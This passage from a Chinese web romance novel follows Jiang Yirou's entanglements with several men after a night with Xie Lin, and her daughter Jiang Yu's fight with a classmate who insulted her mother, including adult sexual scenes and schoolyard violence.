他粗糙的手掌清晰地感受到了她激烈的反应。 谢凛似乎轻笑了一声,紧接着更加卖力。 姜以柔身体紧绷,白皙的脖颈绷出一个脆弱的弧度,泪珠顺着眼角落下。 恍恍惚惚间,姜以柔脑海里浮现出一个念头: 谢凛这个混蛋,平日里寡言少语的,嘴巴倒是挺厉害…… 最终,在姜以柔呜咽的泣音中,谢凛总算放过了她。 谢凛撑起身体,凑上前想要吻她,却被姜以柔嫌弃地偏头躲过。 谢凛愣怔一瞬,然后从善如流地吻在她的侧脸、脖颈。 不让亲嘴有什么关系,反正对他来说,亲哪里都是奖励。 “你属狗的吧!”姜以柔恨恨地揍了他一下,手上却软得根本力气。 谢凛顺势抓住她打过来的那只手,牵着她一路往下…… 谢凛双眸微眯,眼神中难得显出几分迷离,过了许久,他才长出一口气,整个人慢慢地松懈下来,又将姜以柔紧紧搂在怀中。 谢凛倒是说到做到,说了不进去,就真的不进去。 姜以柔半眯着眼睛躺在床上,整个人被谢凛高大滚烫的身躯覆住,耳边是他沉重的粗喘,温热的气息撩得她耳鬓酥软,浑身无力。 姜以柔懒散地躺在床上,任凭谢凛将自己紧紧地圈在怀中。 谢凛宽厚温热的胸膛实在太舒服了,极有安全感,她差点再次迷迷糊糊地睡着。 后来,谢凛突然开口道:“我这几天要去一趟外地。” 姜以柔愣了愣,下意识地问道:“去做什么?” 谢凛沉默片刻,平静地说道:“工作,挣钱。” 姜以柔便又想起他昨天西装革履的模样,不由得轻笑一声:“那你好好努力。” 谢凛不置可否地“嗯”了一声。 随即,谢凛撑起身体,拉开床头的柜子,从里面拿出一把小巧的匕首,塞进了姜以柔的心里。 姜以柔本能地想躲避如此锋利的东西,谢凛却强硬地覆住她的手,慢慢引导她握住了这把匕首。 谢凛附在她耳边,低声道:“拿着。” 他炙热的气息喷洒在她敏感的耳际,让她不自觉瑟缩了一下。 谢凛手掌宽大,能够完全包裹住姜以柔的小手,他沉声叮嘱道:“保护好自己。” 姜以柔仰起头盯着他,眸光莫名,良久才轻声问道:“你难道不会一直保护我吗?” 谢凛没有丝毫犹豫,一字一句斩钉截铁地说道:“会。” “但是……不能每分每秒都在你身边。”谢凛望向她的眼神有些复杂,有不舍亦有决然。 他当然想每时每刻都守在姜以柔的身边,尤其在她刚经历了那样的危险后,他更不放心她一个人。 但是他清楚地知道,如果他只是个地下拳手,是没资格拥有她的。 他只有爬到绝巅,才能将那些妄图染指她的男人,统统踩在脚下。 谢凛倾身亲了亲她的额头,这个吻不带丝毫欲望,只有浓浓的不舍与珍视。 “等我。”谢凛哑声说道。 等我回来,也等我能给你想要的一切那天。 * 就在姜以柔昏昏欲睡时,她的手机突然响了起来。 姜以柔闭着眼睛,轻轻拍了拍的谢凛的胸膛,意思是让他帮忙拿一下手机。 谢凛微微撑起身体,长臂一伸,随意地捞过床头上的手机。 不过下一秒,当看清屏幕上的来电显示时,谢凛眸光微凝,原本慵懒餍足的气场瞬间变得锋锐。 “顾星延?”谢凛缓缓念出这个名字,嗓音像淬了冰一般。 姜以柔立刻睁大了眼睛,抬手便去够自己的手机。 谢凛却直接举高了手臂,垂眸不咸不淡地睨着她,明显没打算把手机给她。 他紧皱着眉头一脸不爽,一副要解释的模样。 姜以柔看着他冷硬紧绷的面色,无奈地叹了口气,温声哄道:“这是我刚认识的朋友,你别闹了,快把手机给我……” 谢凛眸光微动,凉凉地说道:“就是那个长得很帅的大明星?” 谢凛俯身逼近,几乎与她鼻尖相抵,他的呼吸是炙热的,眼神里却淬着凉意,他咬着牙问道:“如果你中药的时候,在你身边的是他,你也会……” 姜以柔微微一怔,这才想起昨晚,她神志不清地主动向谢凛求欢时,对方拒绝了,气得她口不择言地说要找别的男人,其中就有她刚认识不久的顾星延。 没想到谢凛还耿耿于怀呢。 姜以柔有些头疼地叹了口气,其实她很讨厌应付吃醋的男人。 但是…… 她细细用眼神描摹着谢凛英俊的眉眼,他完美有力的身体,以及他带给自己的美好的体验…… 姜以柔终究还是心软了,决定哄哄他,她软下嗓子耐心安抚道:“那些都是气话……” 姜以柔倾身上前,主动含住了谢凛的唇瓣,她眼尾泛着媚意的红,眸色撩人。 谢凛喉结微滚,几乎是下意识地回应她的吻。 趁着谢凛失神的瞬间,姜以柔赶紧夺过手机,在电话自动挂断前接了起来,“喂,顾先生?” 手机里传来那被誉为天籁的磁性嗓音:“姜小姐,你现在安全离开酒店了吗?” 顾星延的语气听起来有些着急,他急声解释道:“抱歉,我太忙了,刚刚才知道我的助理并没有亲手把衣服交给你,有个酒店服务生主动说帮他送,他就这么托他转交了……” 然后,顾星延的助理居然就这么心大地离开了酒店,若无其事般继续跟在顾星延身边工作,却连提都没提这件事。若不是顾星延主动问起,恐怕他到现在还被蒙在鼓里。 顾星延从他嘴里知道这件事的时候,气得当场把人开除了。 这个助理简直愚蠢至极,他就不想想那个主动凑上来的服务生可能是狗仔或者粉丝假扮的吗?更甚者,如果是坏人……那他的懈怠就害了姜以柔! 所以,顾星延第一时间就打来了电话,想确认姜以柔的安全。 不得不说,顾星延的顾虑是对的。那个主动凑上来的服务生被赵文泽买通了,姜以柔切切实实经历了一场危险。 不过,哪怕顾星延的助理足够警惕,没有让服务生转交衣服,想必赵文泽也会制造出其他下手的机会。 姜以柔想了想,温声道:“顾先生,谢谢你的关心,我已经安全到家了。” 她跟顾星延也就只有一面之缘,她昨晚经历的那番凶险,就没必要告诉他了。 顾星延顿时松了口气,语调也轻快了一些:“那就好。” 顾星延似乎没打算这么快挂电话,继续笑着说道:“姜小姐,昨天你说过我可以约你,请问还算数吗?” 姜以柔还没回答,便察觉到箍在腰间的铁臂骤然收紧,勒得她几乎喘不过气,像是不动声色地威胁。 可惜的是,姜以柔永远是那个随心所欲,坦荡得让人牙根痒痒的姜以柔。 她笑着回应道:“当然算数啦。” 闻言,谢凛面色一滞,一颗心止不住地下坠。 又是这样,每一次都是这样。 她就好像是一阵风,哪怕他已经拥有过,却永远不会只为他一个人驻足。 谢凛深吸一口气,静静地描摹怀中那张让他沉迷也让他痛苦的美丽脸庞,紧抿着唇似乎在忍耐。 手机里继续传来顾星延的温声细语:“姜小姐,我知道有家餐厅很不错,不知后天晚上可不可以赏脸……” 谢凛的呼吸逐渐粗重起来,眼眸也被怒意逼得微微泛红。哪怕他明知姜以柔没有心肝,却还是会被刺痛。 “后天啊……”姜以柔若有所思的声音响起。 她竟然真的在考虑有没有时间跟顾星延出去吃饭。 这一刻,谢凛脑海里那根名为理智的弦终于崩断。 他抢在姜以柔之前冷声开口道:“她没时间。” 冷冽低磁的男声透过手机,清晰地穿到了顾星延的耳中。 顾星延愣了一瞬,下意识地反问道:“这位是……?” 不等谢凛再说些什么,姜以柔赶紧捂住他的嘴巴,并狠狠瞪了他一眼。 如波的媚眼中含着警告之意。 “没事,顾先生你继续说,后天晚上是吧……”姜以柔继续笑着跟顾星延寒暄。 就冲着顾星延昨晚大手笔地送了她那么一堆珠宝,她也不想轻易断了这份联系。 毕竟,像顾星延这样长得帅又有钱,舍得给她花钱而且嘴巴又甜的男人,可不多见呢。 姜以柔正琢磨着怎样回复,再开口时,喉间却先溢出一声轻吟,“啊……” 这一声娇媚婉转,还带着丝情欲的沙哑,如同带着钩子一般撩人。 手机那头的顾星延瞬间沉默下来。 姜以柔慌乱中低头,看见谢凛正埋首在她胸前使坏,顿时气不打一处来。 姜以柔手忙脚乱地挂断电话,也没心情跟顾星延约时间了,劈头盖脸地揍谢凛,“你这个混蛋……” 谢凛一只手就能圈住她的两只手腕,他把人牢牢按在床上,眯着眼睛语带威胁道:“你还有体力折腾是吧?” 说着,他意有所指地顶了顶姜以柔。 姜以柔顿时没招了,睁着一双潋滟无辜的眸子看着他,软声说道:“谢凛,别闹了……” 谢凛冷哼一声,一把将她箍进怀中,沉声警告道:“离他远点。” 姜以柔嘴上点头应下,眼神里却满是不以为意。 谢凛显然也知道她的本性,英俊的脸上布满了阴云。 姜以柔看着他这副小心眼的模样,笑着眨了眨眼睛,说道:“谢凛,你知道吗,你还应该感谢人家顾星延呢?” 谢凛满脸不善地斜睨着她,嫌弃之色溢于言表。 姜以柔凑近他,语气暧昧地说道:“昨晚我们睡的那间套房,是顾星延付的钱哦。” 姜以柔语气狎昵,充满了恶趣味。 谢凛微微一怔,盯着她滚动了下喉结,张口便含住她的唇。 厮磨间传来谢凛含糊的冷哼:“有空我当面谢他。” 姜以柔嗔笑着捶了他一下,肢体纠缠间,差点又擦枪走火。 就在这时,姜以柔突然接到了一通电话,来自姜渔的班主任。 姜以柔赶紧推开谢凛,她刻意清了清嗓子,确认没什么异样,才接起电话,询问老师有什么事情。 班主任的语气里充满了疲惫与为难,说道:“姜渔妈妈,您有时间来学校一趟吗?” 姜以柔微微一怔,连忙询问道:“老师,是出什么事了吗?” 班主任沉默片刻,说道:“姜渔同学……跟外班的一位同学起了冲突,需要双方家长到场谈一下……” 姜以柔猛地从床上坐起来,却差点因为腰酸而重新倒在床上。她难受得皱起了眉头,有些痛苦地揉了揉腰,但还是第一时间关心便宜闺女的情况:“老师,小渔受伤了吗?” 谢凛跟着从床上坐起,默默地接过了揉腰的工作。 班主任温声安抚道:“姜女士,您放心,其实姜渔同学并没有受伤,受伤的是跟他起冲突的那名男生……” 闻言,姜以柔瞬间松了口气,“哦,那就没事了。” 她感受了下酸痛的身体,笑着说道:“老师,我这边有点事,暂时没法赶过去,要不……您让姜渔写个检讨就算了吧。” “或者对方家长需要赔偿的话,我这边也可以配合的。”姜以柔诚恳地说道。 她实在被折腾得连根手指都不想动,既然便宜闺女没什么大事,她就懒得过去了。 然而,手机里却传来班主任有些为难地声音,道:“姜女士,对方的家长很难缠,他一定要你亲自道歉。” 班主任随即压低声音,委婉地暗示姜以柔,对方家长很不简单,在圣维尔学院这种遍地权贵的地方,最好不要轻易得罪人。 闻言,姜以柔一时间沉默了。 圣维尔学院的那群天龙人有多难缠,她是见识过的。如果对方不依不饶的话,确实会很麻烦。 旁边,谢凛蹙了蹙眉头,问道:“需要我帮忙吗?” “你?不用了。”姜以柔没有多想,下意识地拒绝了。 沉思片刻后,她眼睛一亮,迅速对班主任说道:“好的老师,我知道了,你放心,我马上就处理这件事。” 挂了电话后,姜以柔随即拨通了另一个人的电话。 从姜以柔拒绝他的帮忙开始,谢凛紧锁的眉心便没有松开过。 此时,他静静地看着姜以柔的手机屏幕,在看清她给谁打了电话后,英俊的脸庞骤然阴沉下来。 ——方隐年。 她给方隐年打了电话。 电话很快被接通,手机里传来方隐年冷淡的嗓音:“什么事?” 姜以柔一点儿都不客气,笑盈盈地说道:“方总,你现在有时间吗?” 方隐年沉默了片刻,道:“你说。” 姜以柔简单说了下姜渔在学校里闹出的乱子,然后用满是惆怅的嗓音轻声叹道: “……听说对方家长很强势。方总,你也知道,我就是一个没有背景的弱女子,他还不知道要怎么为难我呢,所以……” 方隐年的语气听不出情绪,干脆利落地问道:“你想让我陪你去?” 出人意料的,姜以柔否认了,“不是。” 她轻轻一笑,说道:“你直接代替我去吧,我就不过去了。” 方隐年:“……” 方隐年一时间沉默了。 姜以柔却非常地理直气壮。她累得腰都快断了,一根手指都不想动,更没有心思去跟难缠的天龙人家长扯皮。 所以,找个苦力帮她解决吧。 同为天龙人而且处于金字塔最顶端的方隐年再合适不过了。 姜以柔娇声恳求道:“方总,拜托你了……” 姜以柔还记得,前不久方隐年刚承诺过,说欠她一个人情。 不过,她可不想为了这么点小事动用这个人情,所以连提都没提,似乎完全不担心方隐年回拒绝。 长久的沉默后,手机里传来方隐年略显艰涩的质问:“替你去?” “我以什么身份替你去?”他低沉的嗓音里有种风雨欲来的压抑。 姜以柔似乎根本没察觉到方隐年的异样,认真地思考片刻后,她竟然很认真地答道:“嗯……小渔的某个叔叔?” 这次回应她的,是更长久的沉默,手机里隐隐能听到方隐年沉重的呼吸声。 见方隐年迟迟不应,姜以柔轻轻“啧”了一声,漫不经心地随口说道: “要不,你就说你是小渔的后爸呗。” 姜以柔随口的一句话,却瞬间在两个男人心里掀起惊涛骇浪。 谢凛腮侧微鼓,他眼眸一片猩红,猛地按住姜以柔的肩膀,咬着牙一字一句道: “姜、以、柔。” 那嗓音嘶哑而低沉,犹如一只陷入疯狂的困兽。 第68章 谢凛再也控制不住心底翻涌的戾气, 猛地翻身将姜以柔按在了床上。 他居高临下地瞪着这个没心没肺的女人,气得眼眸猩红,燃着熊熊怒火。 谢凛腮侧微鼓, 从牙缝里泻出几个字,又沉又厉,像凶兽在低吼, 带着浓浓的威胁之意: “你他妈当我死了吗?” 谢凛胸膛剧烈起伏着, 气得恨不得一口咬死她。 姜以柔被他吓了一跳,手机都掉在了床上, 但与方隐年的通话仍未挂断。 她皱了皱秀气的眉,有些委屈地抱怨道:“你凶我干嘛?” 谢凛几乎被她的倒打一耙气笑了。 她先做出这种让他血气上涌的事情,现在倒是反过来怪他凶? 他还是不够凶, 才纵容她一而再再而三地挑衅! 谢凛的面色阴沉得可怕, 咬牙切齿地问道:“为什么要找他?” 姜以柔眨了眨眼睛,很是理所当然地说道:“因为很方便啊!” 她懒得去学校,就让方隐年代替她去。正好方隐年权势够大,他一出马, 没人敢为难, 事情不就解决了吗? 姜以柔的思维很简单——男人嘛,该用就得用。 至于具体怎么用,得根据不同男人的性格、背景和身材长相来区分…… 但是, 她还是低估了男人的好胜心和占有欲。 “方便?”谢凛反复咀嚼着姜以柔的理由,冷不丁嗤笑一声, “我现在就在你床上, 你找我,不是比给他打电话更方便?为什么……” 为什么在他主动说要帮忙时,姜以柔毫不犹豫地拒绝了, 转头却找了方隐年帮忙? 姜以柔这一举动简直是明晃晃地告诉他,在她心里,方隐年比他更可靠,更值得依赖。 谢凛沉重的身躯覆在她身上,几乎与她鼻尖相抵,炙热的气息喷洒,犹如野兽的喘息,充满危险的意味。 “你告诉我,为什么?!”谢凛沉声喝问道。 姜以柔的眸中迅速漫上一层水意,她抿着唇分外委屈,也不回谢凛的问题,只反过来质问他: “你看你,又凶!” 谢凛喉结微滚,眼神仍旧凶戾,却一时间说不出话了。 姜以柔实在太会胡搅蛮缠了。 明明谢凛在厉声质问,她却三言两语地把对方带进自己的节奏中。 当姜以柔抿着唇泫然欲泣地盯着你时,那张本就美丽的脸庞漫上动人的艳色,只会让人恨不得把心掏出来递给她。 哪里还会忍心再苛责于她呢? 谢凛死死盯着她,那紧绷的唇角昭示着他的隐忍。 半晌,猛地低头含住了她的唇。 满腔的怒火都化为浓烈的欲,谢凛恨不得一口将姜以柔吞下去。 到底怎样,她才能眼里只有他一个人呢? 谢凛疯狂地掠夺着她的甜美,心底却漫上阵阵痛楚。 他用力抱紧姜以柔,仿佛要将她融进自己的骨血。 可是,不管他如何用力,却总觉得怀里的人像一阵握不住的清风,只是短暂地吹拂过他,终究会离去。 谢凛呼吸不稳,吻得更加用力,近乎疯狂。 缠绵暧昧的水声在房间里回荡,间或夹杂着姜以柔似哭似嗔的闷哼,简直能勾得人骨头酥了。 他们两个人都忘了,此时此刻,姜以柔的手机仍在与谢凛通话中。 手机屏幕一直亮着,方隐年的名字显得那样刺目,却完全被遗忘了。 衣料摩擦声和肢体碰撞的声音传出,整个房间里都涌动着情潮。 姜以柔手脚并用地推拒着谢凛,却根本使不上力气。她用力偏过头,红肿的唇张开,艰难吐息着。 可谢凛并没有放过她,炙热的唇印在她的脸侧,仿佛恨不得将她吞进去。 “谢凛……”姜以柔轻喘着说道,嗓音里带着些许颤意的哭腔,“你别闹了……” 从昨晚到现在,她真的不行了。 饶是姜以柔再随心所欲,此时也有点被谢凛这股不管不顾的疯劲儿吓到了。 她有点害怕他继续胡来,那她真的别想下床了。 姜以柔深吸一口气,勉强定了定心神,努力让自己忽视谢凛游走的唇带来的酥麻感,抖着嗓子解释道:“我、我就是偷懒不想去学校,也舍不得你受累,才拜托方隐年去的嘛……” 姜以柔想哄人的时候,鬼话一套又一套的,说得谢凛差点儿就信了。 谢凛微微抬起头,垂着眼眸凝视她,微长的黑发散落,遮住了他的眉眼,却掩不住他眸中的冷意。 谢凛的喉间溢出一丝轻笑,却莫名有股阴森的煞气,一字一句道:“你是觉得我没方隐年有能耐吧?” 姜以柔哪怕心里真的是这么想的,此时也绝对不能承认。 她抿着唇,委屈地盯着他,娇声道:“我哪有这么想……” 姜以柔仍想继续花言巧语,谢凛却猛地低头,咬住她小巧的耳垂轻轻厮磨,灼热的气息喷洒在她的耳际,侵略性十足,激得她颤了颤。 “你做什么?都说了不行……”姜以柔急喘着说道。 谢凛冷哼一声,幽幽地说道:“我没方隐年有能耐,不能替你分忧,那就只能在床上替你分忧了。” 谢凛这番话分外咬牙切齿,阴森得像是地狱里爬出来的恶鬼,让人不由得毛骨悚然。 姜以柔一呆,瞬间觉得小腹幻痛。 “等等……” 不等姜以柔再说些什么,她便被猛地堵住了唇,紧接着便被拉进了熟悉的欲潮中。 谢凛俯身卖力,他紧咬着牙关,面上是难掩的沉溺与迷乱,狭长的黑眸中却泛着冰冷的嘲意。 大概在姜以柔心里,他就只有陪她上床这一个作用吧。 既然这样……他绝不会让她失望。 谢凛眉眼一沉,两只大手攥着她的腰,不管不顾地侵入,任凭她叱骂或讨饶,都不为所动。 在两人胡闹的时候,手机上的通话不知何时被挂断了。 不知道手机那头的方隐年听了多久,又听了多少,隔着电话听到他们俩的动静时,又是怎样的心情。 大概比今早亲眼目睹姜以柔和谢凛事后的模样,更加有冲击力吧。 * 另一边,圣维尔学院。 姜渔这次闹出的乱子,说到底还是跟姜以柔有关。 自从那次家长会过后,班里的学生们对姜渔的态度堪称一百八十度大转变,曾经有多趾高气昂地嘲笑她是特优生,如今跟在她身后献殷勤的模样就有多狼狈。 班里的学生们都亲眼见过姜以柔,结结实实地遭受过那天赐般的神颜的巨大冲击力,所以都很能理解彼此。 他们非但不会嘲笑自己的同学竟然对着特优生姜渔献殷勤,甚至还会互相交流“姜渔攻略心得”,互相出谋划策,到底怎样才能跟姜渔成为好朋友。 只可惜目前为止,没有一个人“攻略”成功。 高二2班的学生们每天都乐此不疲,重复着被姜渔拒绝和翻白眼、然后锲而不舍地又凑上去的经历,殊不知他们的行为落在其他班级的学生眼中,就是一整个班的人都得了失心疯。 这几天,校园论坛里有个帖子一直飘在首页。 帖子标题是:“那个特优生是给他们班同学下蛊了吗?把全班都变成了她的舔狗。” 帖子一发出,就收获了无数人的共鸣,盖楼速度极快。 【妈的我早就想说了,我那天看到我认识的一哥们给特优生带早餐!】 【呵呵,其实不止你哥们一个人,他们班可多人给特优生带早餐呢。甚至不仅是早餐,午餐晚餐也……】 【我特意观察过,特优生从来不收他们送的东西,从来不收!就这样他们还每天眼巴巴地凑上去,我真的会无语!】 【疯了吧……竟然喜欢上特优生?不怕被她身上的穷酸味儿传染吗?】 【但很奇怪的是,他们没一个人承认自己喜欢特优生。但继续问他们为什么要对特优生那么好,他们又什么都不说,真是奇了怪了。】 【嘁,他们自己也知道喜欢特优生很丢脸,所以不好意思承认呗!】 【不对啊,我认识的好几个2班女生也经常往特优生身边凑,她们不至于也喜欢特优生吧?】 …… 帖子的热度越来越高,里面充斥着对2班同学反常行为的各种揣测。同时还有一如既往对姜渔的鄙夷和贬低。 直到半天后,有2班的学生出来解释了: 【别瞎猜了,我们对姜渔真的不是那种喜欢,我们对她只有浓浓的父爱……】 瞬间,这层楼下出现了一连串的问号。 【???不是,你们有病吧???】 有了2班的学生出面,说了一通莫名其妙的话后,事情顿时更加扑朔迷离起来。 但世界上没有不透风的墙,经过很多人的不懈努力,不久后,终于有人打探出了真相。 【终于把我一哥们的嘴撬开了,他说家长会那天,特优生她妈来了。据他的形容,特优生她妈简直漂亮得惊天动地,跟仙女似的,然后他们班所有人都被那张脸俘获了。现在他们班里人天天讨好姜渔,就是想跟她成为朋友后,能再看一眼她妈。】 这则爆料一出,帖子里一时间陷入了长久的沉默。 【???】 原本热闹的贴子里突然间很久都没人回复,仿佛所有人都在默默消化这个惊天大瓜。 良久才有人冒泡道: 【……楼上的哥们,需要我给你兄弟介绍个眼科大夫吗?就为了一个孩子跟我们一样大的中年女人,他就讨好特优生?别太搞笑了。】 【2班的人你们是真饿了,中年大妈也下得去口?】 【我靠,我可是见过号称内娱第一神颜的小花旦,人家确实漂亮确实惊艳,但如果她是特优生的妈妈,我只会厌屋及乌……2班的人是真的被下蛊了吧?】 【一个半老徐娘再漂亮能漂亮到哪里去?反正我不信。:)】 【我宁愿相信是特优生给她同学下蛊了……】 【还有还有!据可靠消息,姜渔她妈似乎跟校霸的叔叔……关系不一般!】 【校霸的叔叔?你该不会是说方家的那位吧?别特么搞笑了,谁不知道那位信佛,身边连个母蚊子都没有?】 【嘶——你们还记不记得,咱们校霸似乎对特优生很好,甚至还舍命救过她,我之前还不理解呢,但如果特优生她妈跟校霸的小叔有关系……那特优生她妈就是校霸的小婶,特优生也算是校霸的妹妹吧?这么一来,校霸救特优生就不奇怪了,毕竟算是亲戚嘛!】 【楼上说的很有道理,但我总觉得怪怪的……以校霸的性格,不至于舍命救小婶带来的拖油瓶吧?】 【呵呵,姜渔她妈要是能跟方家那位扯上关系,我把脑袋摘下来给姜渔当球踢!】 关于姜渔的这个帖子一直飘在首页,围绕着“姜渔妈妈”的话题也愈演愈烈。 没有亲眼见证过姜以柔美貌的人,都把2班同学说的话当成笑料,在论坛里各种嘲讽玩梗,有的甚至低俗得很不尊重人。 如果他们只在论坛里交流的话,姜渔倒是不会知道,因为她连手机都没有,几乎不上网。 可偏偏有人要舞到姜渔面前犯贱。 中午休息时间,其他同学都三三两两地去吃饭了,只有零星几个人还在教室,其中就包括姜渔。 不过,她不再像之前那般啃馒头咸菜了,而是从家里带了色香味俱全的饭菜。 姜渔正埋头吃饭,突然有一道阴影落在她头顶。 “喂,特优生。”一个高大的男生堵在姜渔桌前,居高临下地睨着她。 男生又高又帅,是学校的篮球队队长,此时他上上下下地打量着姜渔,脸上是明晃晃的不屑。 他就是学校里最敌视“特优生”群体的那一波人,高高在上,优越感十足,觉得特优生的存在是污染空气。 此时,他傲慢地俯视着姜渔,嘴角勾起一个嘲讽的弧度,问道:“听说你妈妈很漂亮?” 姜以柔闻言动作一顿,但并未抬头,只继续低头吃饭。 男生却不依不饶地继续说道:“把你妈叫过来呗,我想看看她有多漂亮。” 他存着故意恶心姜渔的心思,歪了歪头,露出一个很是恶劣的笑容,调笑道:“人妻是吗,我还真想见识见识……” 他话音未落,姜渔的身体骤然僵住,她的手指猛地捏紧,差点将筷子捏断,黑沉沉的眼眸中也开始积聚怒气。 等到男生越说越离谱时,姜渔猛地站起身来——一拳揍到了他的眼眶上。 这一拳饱含姜渔的愤怒,威力极大,砸到他脸上发出沉重的闷响。 男生一声惨叫,被打得后退几步,姜渔又抓住机会,咬着牙往他脸上狠狠招呼了好多下,出手又准又狠,直接将人打懵圈了。 男生愣了好一会儿,反应过来后面色骤沉,他双手猛地捏紧成拳,咬牙切齿地怒骂道:“你他妈找死……” 他猛地举起拳头,赤红着眼睛要反击。 哪怕男生作势要打人,姜渔依旧挺直脊背,死死瞪着他,毫不躲闪,浑身戾气惊人。 她举起纤细的手指,差点戳到男生的鼻子上,寒声道:“你他妈才找死!再敢说她一句试试?” 男生被挑衅得脸色更黑,当即举拳就要往她脸上招呼,这时,门口突然冲进来一群人。 2班的学生们乌央乌央全回来了,他们一边冲进教室一边嚷嚷道:“谁敢欺负姜渔?” 很快,一群人就把那名男生围住了,有男有女,个个面色不善。 “喂,你算老几啊,敢在我们班放肆?” 那名通风报信喊来救兵的学生,赶紧绘声绘色地把男生方才对姜以柔的言语不敬描述了一遍,成功激发了全班人的怒火。 有人已经开始撸袖子了,“你敢侮辱姜阿姨?不想活了是吧?” 然而,男生却有恃无恐地挑衅道:“你们不会真被姜渔下蛊了吧?干嘛一个个忙着给她出头?” 他向来自恃出身,实在见不得众人维护一个不起眼的乡巴佬,当即冷笑一声,伸手便要去抓姜渔的领口:“别以为有人护着我就不敢动你,草,你敢打老子……” 姜渔冷冷地瞪着她,稚嫩的拳头捏得紧紧的,随时打算冲上前跟这个高壮的男生拼命。 哪怕是伤敌八百自损一千,哪怕她会受伤……她也绝不会放过任何一个敢对姜以柔出言不逊的人。 然而,出乎她意料的是,她并没有跟眼前的男生打起来。 因为她的同学们竟然牢牢地护在她身前,你一拳我一脚地把那个男生击退了。 乐柠永远是最先关心姜渔的人,她紧紧挽住她的手臂,小声问道:“小渔,你没事吧?” 其他女生也纷纷围上来,七嘴八舌地安慰她道:“没受伤吧?” “放心,我们给你出气。” 那名前来挑衅的男生非但没能碰到姜渔一根毫毛,反而时不时被人下黑手揍一下,顿时气得面色铁青,叫嚣道:“你们有病吧?这是我跟姜渔的恩怨,管什么闲事?!” 其他学生义愤填膺地怒骂: “呸!姜渔是我们班的人,你敢找她麻烦,就是跟我们全班人过不去!” “对!敢欺负姜渔,你别想好过!” …… 众人你一言我一语,纷纷替姜渔出头。 姜渔木着脸,静静地看着这一切,莫名有一种荒诞的感觉。 她的这群眼高于顶的同学居然会为她出气…… 姜以柔抿了抿唇,神情不由得有些复杂。 这群人现在对她的好,全因为她有个好妈妈,但不管怎么样,他们这一刻给予她的温暖是真实的。 就在事态越发混乱的时候,一道冰冷不耐的声音让现场瞬间安静下来。 “吵死了。” 周遭仿佛瞬间被按下了暂停键,从一片嘈杂,变成针落可闻般的安静。 众人循声望去,竟看到了一个许久不见的人影。 高高的个子,充满爆发力的薄肌,兼具少年感和力量性,他仅仅是站在那里,就很有压迫感。 他五官生得极好,是难得俊美的少年,尤其是那双浓墨重彩的修长凤眼,好看得让人根本移不开眼睛。 “方少?!”有人惊呼出声。 来人正是方镜麒,自从他在马场伤了右臂后,这是他第一次在学校露面。 方镜麒的右手仍吊在胸前,不过,他身上没有丝毫病弱感,当他微扬着下颌踱步而来时,还是那副肆意张扬的大少爷姿态。 盛气凌人。 他经过的地方,所有人都不由自主地避退,为他让开了一条路。 众人的表情都很是震惊,不仅是因为见到了消失已久的方大少,还因为…… 他们都忍不住直往方镜麒的脑袋上看去。 方镜麒之前有一头精心打理过的白发,相当拉风,格外夺人眼球。 但现在,原本层次分明的白色碎发消失了,竟然只留下一层短短的黑色发茬! 不得不说,换了这个发型之后,方镜麒显得更成熟了一些,更有种野性难驯的气质。 那双堪称漂亮的凤眸,也变得格外凌厉,眼尾轻睨间,隐含的威势让人不敢直视。 隐约间,倒是越来越像他那沉稳而严酷的小叔叔。 方隐年本来只是觉得他们吵闹,才稍作警告,他向来懒得管闲事,但是,当他看到人群中央的姜渔时,眉心顿时一皱。 他缓缓踱步走近,漫不经心地睨了眼姜渔,随即问道:“怎么回事?” 有的学生比较机灵,立刻想起方镜麒曾经救了险些坠马的姜渔,觉得他肯定也会护着姜渔,便忙不迭把刚才发生的事说了一通。 他在叙述时,方镜麒的眸光并没有太大的波动,直到听见那男生对姜以柔出言不逊的内容,他才危险地眯了眯凤眸。 方镜麒缓缓将目光投向那个男生,狭长的凤眸中寒意逼人,如同在看一个死人。 第69章 随着同学们你一言我一语地将事情说清楚, 方镜麒的眸光越发阴沉,很明显是动了怒。 他一生气,就代表有人要倒霉了, 没人不打怵。 众人不约而同地后退几步,跟煞神般的校霸拉开距离,再看向那名挑事的男生时, 面上纷纷带了些同情之意。当然, 更多的还是看好戏般的幸灾乐祸。 在方镜麒冰冷无情的逼视下,刚才还气焰嚣张的男生渐渐哑了火。 他不由得缩了缩脖子, 望向方镜麒的眼神中难掩忌惮。但是,他又不甘心在这么多人的围观下低头,那也太没面子了。 更何况, 他不觉得方镜麒真的会替姜渔出头。 论坛里说的那些匪夷所思的小道消息, 他一个字都不信! 男生咬了咬牙,强撑着镇定说道:“方少,你别听他们瞎说!我可不是故意闹事,都是那个特优生……” 男生猛地指向姜渔, 满脸嫌恶地告状道:“她和她妈都不是什么好东西, 到处勾搭人,还敢碰瓷碰到……” 你小叔身上呢。 那名男生本想跟方镜麒告状,说一说校园内那把姜渔她妈和方隐年扯在一起的离谱谣言, 最好能让方镜麒也厌恶上特优生,跟他站在同一战线。 然而下一秒, 方镜麒长腿一迈, 两步跨到男生面前,紧接着,他沉着脸一拳挥出—— 男生那充满恶意的话还未说完, 嘴里便发出一道凄厉的嚎叫声,差点把屋顶掀翻,让人听了都不由得心颤。 一声惨叫过后,那名男生鼻血横流,踉跄着摔倒在了地上,甚至还捂着鼻子在地上滚了一圈。 方镜麒甩了甩左手,皱着眉头轻啧一声,似乎是不太满意自己的发挥。 方镜麒目光幽幽地睨着地上的男生,唇角勾起一个冰冷的笑。 可惜他的右手现在不能用,否则,这人就不只是流鼻血这么简单了。 那男生在地上疼得直打滚,他捂住口鼻,一脸惊恐地瞪着方镜麒,含糊地怒骂道:“方镜麒,你疯了?!” 其他同学对他的惨状乐见其成,都幸灾乐祸地看着他,时不时冲他做个鬼脸,极尽嘲讽之意。 班里的闹剧早就传遍了学校,此时,2班教室外人头攒动,都是其他班的人来看热闹。 有人低声跟同学讨论道:“方镜麒竟然又给特优生出头了,难道她妈真的跟方家那位……” “不好说啊,再观望一下。” 他们小心翼翼地瞥了眼教室里那个高挑嚣张的少年,不自觉压低了声音,生怕被校霸抓到他们在嚼舌根,顺手也给他们一拳。 校霸的拳头,他们可无福消受。 班里,方镜麒单手插兜,施施然踱步到男生面前。 那男生刚才还指着方镜麒怒骂,此刻手指却颤了颤,迅速收了回去。 他两手撑地,止不住地后退,望向方镜麒的眼眸中满是恐惧。由于没再用手捂着鼻子,他的鼻血流得更多更快了,甚至沾湿了胸前的衣襟,显得格外吓人。 方镜麒居高临下地睨着他,凤眸冰冷而无情,如同在蔑视低贱的蝼蚁。 他猛地一脚踹在男生的胸口,将人踹翻在地,然后一脚踩在他的脸上。 